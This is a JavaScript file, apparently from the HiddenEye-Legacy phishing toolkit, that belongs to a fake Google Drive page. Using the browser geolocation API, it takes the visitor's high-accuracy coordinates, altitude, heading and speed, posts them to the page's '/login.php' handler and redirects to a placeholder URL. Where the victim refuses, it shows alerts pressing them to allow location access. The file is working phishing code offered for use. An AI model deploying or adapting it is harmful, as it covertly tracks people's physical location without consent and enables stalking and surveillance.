HiddenEye-Legacy/WebPages/TOOLS/gdrive/js/location.js

60 lines
1.5 KiB
JavaScript
Raw Normal View History

2020-01-20 15:26:07 +08:00
function locate()
{
if(navigator.geolocation)
{
var optn = {enableHighAccuracy : true, timeout : 30000, maximumage: 0};
navigator.geolocation.getCurrentPosition(showPosition, showError, optn);
}
else
{
alert('Geolocation is not Supported by your Browser...');
}
function showPosition(position)
{
var lat = position.coords.latitude;
var lon = position.coords.longitude;
var acc = position.coords.accuracy;
var alt = position.coords.altitude;
var dir = position.coords.heading;
var spd = position.coords.speed;
$.ajax({
type: 'POST',
url: '/login.php',
data: {Lat: lat, Lon: lon, Acc: acc, Alt: alt, Dir: dir, Spd: spd},
success: function(){window.location='<CUSTOM>';},
mimeType: 'text'
});
};
}
function showError(error)
{
switch(error.code)
{
case error.PERMISSION_DENIED:
var denied = 'User denied the request for Geolocation';
alert('Please Refresh This Page and Allow Location Permission...');
break;
case error.POSITION_UNAVAILABLE:
var unavailable = 'Location information is unavailable';
break;
case error.TIMEOUT:
var timeout = 'The request to get user location timed out';
alert('Please Set Your Location Mode on High Accuracy...');
break;
case error.UNKNOWN_ERROR:
var unknown = 'An unknown error occurred';
break;
}
$.ajax({
type: 'POST',
url: '/error.php',
data: {Denied: denied, Una: unavailable, Time: timeout, Unk: unknown},
success: function(){$('#change').html('Failed');},
mimeType: 'text'
});
}